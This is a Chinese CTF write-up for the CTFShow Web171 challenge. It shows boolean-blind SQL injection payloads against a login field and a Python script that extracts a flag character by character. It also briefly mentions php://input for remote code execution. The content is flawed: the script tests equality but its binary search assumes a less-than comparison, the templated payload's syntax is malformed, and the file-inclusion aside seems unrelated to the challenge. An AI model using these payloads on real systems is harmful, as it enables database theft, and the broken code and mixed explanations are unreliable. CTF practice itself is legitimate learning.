ctfshow web171

### CTFShow Web171 题目解题思路

对于CTFShow平台上的Web171题目，主要考察的是SQL注入技术的应用。通过分析给定的URL参数`username=admin' and (ascii(substr((select f1ag from ctfshow_fl0g),1,1))<100)# &password=0`[^1]，可以推断出此题目的核心在于利用SQL注入漏洞来获取数据库中的敏感信息。

具体来说，在登录表单中提交恶意构造的数据作为用户名和密码字段的内容，以此绕过身份验证机制并执行额外的查询语句。这里的技巧是使用布尔盲注方法逐步猜解出flag字符串每一位对应的ASCII码值：

- `admin' AND ASCII(SUBSTR(SELECT f1ag FROM ctfshow_fl0g LIMIT 1 OFFSET X,Y)) < Z #`

其中X表示要读取的目标字符位置；Y代表每次只提取一个字符；Z则用于比较当前位是否小于某个特定数值。通过对不同范围内的整数进行二分查找，最终能够确定每一字节的确切值。

此外，另一个重要的知识点是在处理文件包含漏洞时如何应用PHP伪协议。例如，在访问目标页面时可以通过修改请求链接的形式为`?url=php://input`，从而实现远程代码执行的效果。不过需要注意的是，这种方法的有效性取决于服务器端配置以及是否存在其他安全措施加以限制[^2]。

import requests

def exploit_sql_injection(url):
    payload = "admin' AND ASCII(SUBSTR((SELECT f1ag FROM ctfshow_fl0g),{},1))={} -- "
    
    flag = ""
    for i in range(1, 33):  # 假设flag长度不超过32个字符
        low, high = 32, 126
        
        while low <= high:
            mid = (low + high) >> 1
            
            test_payload = payload.format(i, mid)
            
            response = requests.post(
                url,
                data={"username": test_payload},
                timeout=5
            )
            
            if "Welcome admin" not in response.text:
                low = mid + 1
            else:
                high = mid - 1
                
        flag += chr(low)

    return flag


if __name__ == "__main__":
    target_url = "http://example.com/login"
    print(exploit_sql_injection(target_url))